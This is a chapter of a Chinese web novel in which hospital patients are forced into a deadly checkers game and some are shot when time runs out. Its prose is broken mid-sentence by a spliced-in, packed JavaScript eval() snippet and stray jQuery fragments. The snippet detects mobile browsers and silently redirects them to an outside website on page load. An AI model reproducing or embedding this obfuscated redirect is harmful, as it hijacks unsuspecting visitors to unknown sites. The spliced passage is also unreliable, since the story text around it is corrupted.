17. 救不回的蓝色弹珠

作品:《原来你们只是精神病啊

    男人变成蜗牛后移动的速度变得非常缓慢,他先是迷茫地用触角看了看四周,随即向季凛这边缓缓蠕动。


    他的身后,留下一条白色的运动轨迹。


    这就是被蜗牛追杀的感受吗?


    季凛看了看时间,离西装男探病的时间还剩8分钟,留4分钟的时间花在路上,她能待在这里的时间只剩4分钟。


    以现在这个情况来看,她只能等西装男“探病”完成后的下一个小时再去信息中心了。


    叶念柏:“游戏结束了吗?”


    那些坐在棋盘边的病人也看到了长发男的失败,有些人抬头看她们,露出祈求的目光。有些人看了看电子钟,又继续下棋。但没有人敢真正停下来。如果继续下棋他们还有可能活下来,如果停止下棋,万一游戏并没有结束,就算长发男死了,子弹还是会自动发射,他们还是会死。


    没有知道游戏是否结束了,为了不让自己落后,所以没有人敢停。


    季凛说:“刚刚我试探了一下,他宁愿把倒数的机会让给我,都不愿意动这个电子钟,说不定,只要破坏这个钟,游戏就会停止。”


    但没人有百分百的把握这能够让这个游戏真正停下来。


    叶念柏说:“没关系,有最后一点机会,也要试试。”


    季凛点点头。


    一个穿病号服的中年女人抬起头来,对她们哀求道:“还剩两分钟比赛就结束了,求你们帮帮忙吧。我还想好好活着。”


    季凛给枪上膛,瞄准白墙上的电子钟,果断开了一枪。


    电子钟炸裂开来,火花四溅。


    季凛和叶念柏环顾四周,一切如常。变成了蜗牛的男人仍然在缓慢蠕动。没有知道游戏结束的征兆是什么。


    那些病人有的捂着胸口,有的在祈祷,还有人仍然在执着地走棋。没有人知道他们是否能够在两分钟后活下来。


    众人屏息等待着。


    季凛仔细回想男人说过的一切话。


    “等等,”季凛突然说,“他说过,没有在游戏中获胜的人都得死对吧?但是跳棋并非只能有一个赢家!”


    她接着说:“只要在规定时间内‘过河’,把所有的棋子摆在对面的角上,所有人都可以赢!”


    一个病人说:“这我们都知道啊!可是总有人过不了河的。”


    “不,并非是所有人都过不了河,而是为了争取早点过河,玩家会选择对自己利益最大化的路线。但如果我们不这样做,而是帮其他人搭桥,就可以帮所有人过河。”


    有人应和:“她说得对。”


    说做就做,季凛立刻趴在一张棋盘边,研究起路线来。


    跳棋是这样一种游戏:一颗棋子必须以另一个颗棋子作为桥梁,向前跳跃一格,如果一路上都有桥,那这颗棋子就可以连跳。棋子跳跃的方向非常自由,这也就意味着,棋子也是可以往后跳的,这就为“搭桥”创造了可能。


    叶念柏心领神会,趴在另一张棋盘边,捏着棋子前进后退,飞快地动作。


    小松突然出现在叶念柏身边的另一张棋盘上,接过病人手中的棋子,也开始帮忙。


    叶念柏看到小松的时候,立刻呵斥道:“小松?我不是让你别进来吗?”


    小松一边下棋,一边哑声说:“姐姐,你忘了,我最擅长下棋。我也可以帮其他人的。”


    叶念柏不吱声,她实在是担心小松被今天的景象影响。她从小就是个敏感的孩子,精神值也时有波动,不像叶念柏这般意志坚定。


    时间紧迫,而且小松确实精通各种棋类。叶念柏也不再束缚她。


    场上原本只剩了十来个病人,有四个棋盘,她们一人一个,另一个棋盘上的人也根据季凛的提示行动起来。


    “喂喂喂,别让我的棋子往后退,我不想死啊!”一个男人哇呜大叫起来。


    叶念柏给枪上膛,猛地拍在地上。


    男人立刻噤了声。周围都安静下来。


    时间不多,但游戏也不算难,只要手速和脑速够快就能够完成。季凛迅速完成了一盘棋,把三个玩家的棋子都“渡过了河”。她迅速来到第四盘棋。


    “给我报个时!”季凛一边下棋一边说。


    “还剩30秒!”一个顺利通关的人劫后余生地喊道,“加油啊。”


    “等等,这里黄色的棋子少了一颗!怎么回事?!”季凛一边执棋一边喊道。


    执黄色弹珠的眼镜男吓得跳了起来,满地找自己的棋子。可地上的血泊中散落着各色的棋子,他不确定哪一颗是他的。


    此时,小松和叶念柏都已经帮手中的所有棋子渡过了河。只剩季凛手中这盘棋了,这盘棋有三个玩家,本来就已经快完成了,如果不是发现少了一颗棋,季凛应该很快就能完成。


    “还剩25秒。”


    季凛无暇顾及其他,继续帮其他棋子渡河,如果一直等下去,其他人可能也有危险。


    眼镜男喃喃道:“他说过,只能用自己的棋子,颜色一样也不行。”


    “完蛋了,我完蛋了。”


    他从地上抓起一颗黄色的弹珠,递给季凛,说:“用这颗好不好?用这颗?”


    季凛低头下棋,问:“你还记得它原本在棋盘上哪个位置吗?”


    眼镜男哭着说:“我不记得了,我不记得了……”


    叶念柏过来拉他:“别激动,没事的,可能游戏已经结束了——”


    “啊!!!怎么可能?”男人哀嚎一声,一脚踹翻了季凛面前的棋盘,“没关系?那就大家一起等,一起死!!!”


    季凛愣住了,一时间没有反应过来。


    整盘弹珠飞散开来,在地板上发出噼里啪啦的跳跃声。像是童年的梦一样悦耳。


    “还剩一秒。”劫后余生的人还在报时。


    所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224362|181676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有人都屏住了呼吸,一动不动地看向那三个未完成游戏的玩家,仿佛画面完全静止了一样。


    “咻。”非常轻微的一个声音在寂静的活动室响起。


    “咻,咻。”又是两声同样的声音。


    众人侧头去看,从那堆尸体中,飞出来三颗子弹。它们以一种反物理的、冷漠的、机械的方式悬停在空中。


    紧接着在毫无初始动力的情况下,它们加速射出,指向那张棋盘的三个玩家。


    “砰、砰、砰。”


    三声齐响,三人应声倒下,都是被击中了头部,一击致命。他们的脸上充满了恐惧和愤怒,死亡把一切都停止了。


    一些人发出恐慌的叫声。


    季凛跪坐在地上,手中仍然捏着一颗蓝色的弹珠,就差最后一步,蓝色棋子就全部渡河成功了。


    周围充斥着噪音,有些是劫后余生的欢呼,有些是对眼前恐怖景象的哀嚎,还有些是如泣如诉的幽怨哀鸣。


    季凛信任自己的理性和智力,就像她人生中遇到的很多次难关一样,她觉得只要沿着最佳的路线走,就能得到一个好的结局。如果她本来就只剩几个小时的生命,牺牲她一个人,换来很多人的生命,对她而言也未尝不可。


    可是这个世界本身,就充斥着混乱和邪恶。


    她捏了捏手中的那颗棋子,重得跟一条生命一样。


    叶念柏上前来扶住她,“你没事吧。”


    季凛摇摇头,说:“没事,我得先走了。”


    叶念柏:“你去哪里?”


    季凛看了看手环说:“我答应了西装男,几个小时后就去死。他承诺我,一定会每过一个小时就来看我。所以我现在得赶紧回之前那间诊室。”


    她又补充说:“你不用跟来,我得跑回去。他会遵守规则,不会提前杀我的。到时候我们在信息中心再次汇合。”


    说完,季凛就出门了。


    她用全速跑了起来,充满消毒水味道的空气灌入她的嗓子眼。她跑上深黑回转的楼梯间,跑过一排排房门紧闭的病房,跑过两栋大楼间的连廊,庞大的大楼像一尊巨物一样在黑色的雾气与她越来越近。


    空气突然变得冷冽起来,像刀片一样划过她的肺部。


    连廊的尽头突然出现了一个穿着风衣的修长身影,他垂手拿着枪,见季凛过来,停住了脚步。


    是那个一直没有现身的队长白崇原。


    季凛跑过了他的身边,感到他的周身散发着一股物理意义上的寒意。


    季凛此刻很着急,也没有心情同他打招呼,她飞快地转身闪进楼梯间。继续往下。


    大概还剩一分钟,只要绕半圈跑回诊室就行了。


    “姐姐,你回来了。”小女孩房间门口问候她。


    季凛已经累得说不出话了,她嗯了一声,连忙钻进了308诊室。关上门,如法炮制,把白大褂盖在自己身上。